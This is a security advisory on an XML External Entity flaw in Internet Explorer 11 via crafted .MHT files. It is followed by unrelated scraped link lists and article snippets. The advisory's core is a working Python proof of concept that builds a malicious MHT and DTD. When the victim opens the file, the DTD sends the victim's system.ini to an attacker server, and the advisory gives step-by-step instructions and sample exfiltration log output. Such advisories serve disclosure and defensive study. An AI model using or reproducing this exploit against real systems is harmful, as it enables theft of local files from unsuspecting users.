[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-INTERNET-EXPLORER-v11-XML-EXTERNAL-ENTITY-INJECTION-0DAY.txt
[+] ISR: ApparitionSec

[Vendor]
www.microsoft.com

[Product]
Microsoft Internet Explorer v11
(latest version)

Internet
Explorer is a series of graphical web browsers developed by Microsoft
and included in the Microsoft Windows line of operating systems,
starting in 1995.

[Vulnerability Type]
XML External Entity Injection

[CVE Reference]
N/A

[Security Issue]
Internet Explorer is vulnerable to XML External Entity attack if a user opens a specially crafted .MHT file locally.

This can allow remote attackers to potentially exfiltrate Local files and conduct remote reconnaissance on locally installed
Program version information. Example, a request for "c:\Python27\NEWS.txt" can return version information for that program.

Upon
opening the malicious ".MHT" file locally it should launch Internet
Explorer. Afterwards, user interactions like duplicate tab "Ctrl+K"
and
other interactions like right click "Print Preview" or "Print" commands
on the web-page may also trigger the XXE vulnerability.

However,
a simple call to the window.print() Javascript function should do the
trick without requiring any user interaction with the webpage.
Importantly,
if files are downloaded from the web in a compressed archive and opened
using certain archive utilities MOTW may not work as advertised.

Typically,
when instantiating ActiveX Objects like "Microsoft.XMLHTTP" users will
get a security warning bar in IE and be prompted
to activate blocked
content. However, when opening a specially crafted .MHT file using
malicious <xml> markup tags the user will get no such
active content or security bar warnings.

e.g.

C:\sec>python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [10/Apr/2019 20:56:28] "GET /datatears.xml HTTP/1.1" 200 -
127.0.0.1
- - [10/Apr/2019 20:56:28] "GET
/?;%20for%2016-bit%20app%20support[386Enh]woafont=dosapp.fonEGA80WOA.FON=EGA80WOA.FONEGA40WOA.FON=EGA40WOA.FONCGA80WOA.FON=CGA80WOA.FONCGA40WOA.FON=CGA40WOA.FON[drivers]wave=mmdrv.dlltimer=timer.drv[mci]
HTTP/1.1" 200 -

Tested successfully in latest Internet Explorer Browser v11 with latest security patches on Win7/10 and Server 2012 R2.

[POC/Video URL]
https://vimeo.com/329717404

[Exploit/POC]
POC to exfil  Windows "system.ini" file.
Note: Edit attacker server IP in the script to suit your needs.

1) Use below script to create the "datatears.xml" XML and XXE embedded "msie-xxe-0day.mht" MHT file.

2) python -m SimpleHTTPServer

3) Place the generated "datatears.xml" in Python server web-root.

4) Open the generated "msie-xxe-0day.mht" file, watch your files be exfiltrated.

#Microsoft Internet Explorer XXE 0day
#Creates malicious XXE .MHT and XML files
#Open the MHT file in MSIE locally, should exfil system.ini
#By hyp3rlinx
#ApparitionSec

ATTACKER_IP="localhost"
PORT="8000"

mht_file=(
'From:\n'
'Subject:\n'
'Date:\n'
'MIME-Version: 1.0\n'
'Content-Type: multipart/related; type="text/html";\n'
'\tboundary="=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001"\n'
'This is a multi-part message in MIME format.\n\n\n'

'--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001\n'
'Content-Type: text/html; charset="UTF-8"\n'
'Content-Location: main.htm\n\n'

'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/transitional.dtd">\n'
'<html>\n'
'<head>\n'
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />\n'
'<title>MSIE XXE 0day</title>\n'
'</head>\n'
'<body>\n'
'<xml>\n'
'<?xml version="1.0" encoding="utf-8"?>\n'
'<!DOCTYPE r [\n'
'<!ELEMENT r ANY >\n'
'<!ENTITY % sp SYSTEM "http://'+str(ATTACKER_IP)+":"+PORT+'/datatears.xml">\n'
'%sp;\n'
'%param1;\n'
']>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'</xml>\n'
'<script>window.print();</script>\n'
'<table cellpadding="0" cellspacing="0" border="0">\n'
'<tr>\n'
'<td class="contentcell-width">\n'
'<h1>MSIE XML External Entity 0day PoC.</h1>\n'
'<h3>Discovery: hyp3rlinx</h3>\n'
'<h3>ApparitionSec</h3>\n'
'</td>\n'
'</tr>\n'
'</table>\n'
'</body>\n'
'</html>\n\n\n'

'--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001--'
)

xml_file=(
'<!ENTITY % data SYSTEM "c:\windows\system.ini">\n'
'<!ENTITY % param1 "<!ENTITY exfil SYSTEM \'http://'+str(ATTACKER_IP)+":"+PORT+'/?%data;\'>">\n'
'<!ENTITY % data SYSTEM "file:///c:/windows/system.ini">\n'
'<!ENTITY % param1 "<!ENTITY exfil SYSTEM \'http://'+str(ATTACKER_IP)+":"+PORT+'/?%data;\'>">\n'
)

def mk_msie_0day_filez(f,p):
    f=open(f,"wb")
    f.write(p)
    f.close()

if __name__ == "__main__":
    mk_msie_0day_filez("msie-xxe-0day.mht",mht_file)
    mk_msie_0day_filez("datatears.xml",xml_file)
    print "Microsoft Internet Explorer XML External Entity 0day PoC."
    print "Files msie-xxe-0day.mht and datatears.xml Created!."
    print "Discovery: Hyp3rlinx / Apparition Security"

[Network Access]
Remote

[Severity]
High

[Disclosure Timeline]
Vendor Notification: March 27, 2019
Vendor acknowledgement: March 27, 2019
Case Opened: March 28, 2019
MSRC
reponse April 10, 2019: "We determined that a fix for this issue will
be considered in a future version of this product or service.
At this time, we will not be providing ongoing updates of the status of the fix for this issue, and we have closed this case."
April 10, 2019 : Public Disclosure

[+] Disclaimer
The
information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission
is hereby granted for the redistribution of this advisory, provided that
it is not altered except by reformatting it, and
that due credit is
given. Permission is explicitly given for insertion in vulnerability
databases and similar, provided that due credit
is given to the
author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility
for any damage caused
by the use or misuse of this information. The author prohibits any
malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

Microsoft Internet Explorer v11 XML External Entity Injection 0day的更多相关文章

  1. Microsoft Internet Explorer v11 / XML External EntityInjection 0day

    [+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org[+] Source:  http://hyp3 ...

  2. 【译】Attacking XML with XML External Entity Injection (XXE)

    原文链接:Attacking XML with XML External Entity Injection (XXE) XXE:使用XML外部实体注入攻击XML 在XML中,有一种注入外部文件的方式. ...

  3. 4.XXE (XML External Entity Injection)

    XXE (XML External Entity Injection) 0x01 什么是XXE XML外部实体注入 若是PHP,libxml_disable_entity_loader设置为TRUE可 ...

  4. Fortify漏洞之XML External Entity Injection（XML实体注入）

    继续对Fortify的漏洞进行总结,本篇主要针对  XML External Entity Injection(XML实体注入) 的漏洞进行总结,如下: 1.1.产生原因: XML External ...

  5. XML External Entity Injection(XXE)

    写在前面 安全测试fortify扫描接口项目代码,暴露出标题XXE的问题, 记录一下.官网链接: https://www.owasp.org/index.php/XML_External_Entity ...

  6. XXE (XML External Entity Injection) 外部实体注入漏洞案例分析

    ENTITY 实体 在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的“别名”,即一个ENTITY,然后在这些文档中需要该数据的地方调用它. XML定义了两种类型的ENTIT ...

  7. Microsoft Compiled HTML Help / Uncompiled .chm File XML External Entity

    [+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org[+] Source:  http://hyp3 ...

  8. Portswigger web security academy：XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

  9. Microsoft Internet Explorer内存破坏漏洞(CVE-2013-5052)

    漏洞版本: Microsoft Internet Explorer 6-11 漏洞描述: BUGTRAQ ID: 64126 CVE(CAN) ID: CVE-2013-5052 Internet E ...

随机推荐

  1. spring的事务是什么？与数据库的事务是否一样

    spring的事务是什么?与数据库的事务是否一样 先说一下什么是事务,事务:是对数据库的一些列操作. 之前一直觉得事务只针对于数据库当中,5种隔离级别,7种传播行为,后来才发现这是针对Spring的, ...

  2. 视频软件——ffmpeg

    1.官网下载地址:http://ffmpeg.org/download.html ffplay.exe ffplay是用于播放的应用程序. ffplay name.mp4 ffprobe.exe ff ...

  3. java读取request中的xml

    java读取request中的xml   答: // 读取xml InputStream inputStream; StringBuffer sb = new StringBuffer(); inpu ...

  4. mysql的root用户无法给普通用户授权问题处理

    1.查看Grant_priv是Y还是N 执行下面 select * from mysql.user where User='root' and Host='%'\G; 下图查看结果为Grant_pri ...

  5. WordPress主题制作：基础样式文件

    1.style.css文件,其中必须包含 /* Theme Name:主题名称 Theme URI: 主题链接 Version: 版本 Description: 主题简介 Author: 主题作者 A ...

  6. 【C# 开发技巧】番外篇故事-我是一个线程

    我是一个线程 我是一个线程,一出生就被编了一个号——0x3704,然后被领到一间昏暗的屋子里,在这里,我发现了很多和我一模一样的同伴.我身边的同伴0x6900待的时间比较长,他带着沧桑的口气对我说:“ ...

  7. 解决 Ceph v14.2.1 RGW使能压缩时遇到不生效的问

    根据常规方法部署Ceph(14.2.1 or 14.2.2)集群+rgw后,通过命令“radosgw-admin zone placement modify --rgw-zone=default -- ...

  8. 为何我的网站http总是跳转https？能不能让http不跳转https？谈谈我遇到的坑和解决方案。

    如题,突然想给我的个人网站加一个ssl,让它能够通过https访问. 但一顿操作猛如虎后,发现只能https访问了,手动输入http也会无限跳转到https. 现在说下我的排查思路和解决方案: 1. ...

  9. 【持续集成】jenkins安装部署从git获取代码

    一:持续集成的概念: 1.1:总体的概括 持续集成Continuous Integration 持续交付Continuous Delivery 持续部署Continuous Deployment 1. ...

  10. 1、3 list 加入缓存，并postman测试

    1.pom.xml导入redis依赖 2.配置文件配置 redis 3.主类开启缓存注解 4.Service方法上加注解 @Cacheable(value="list")//val ...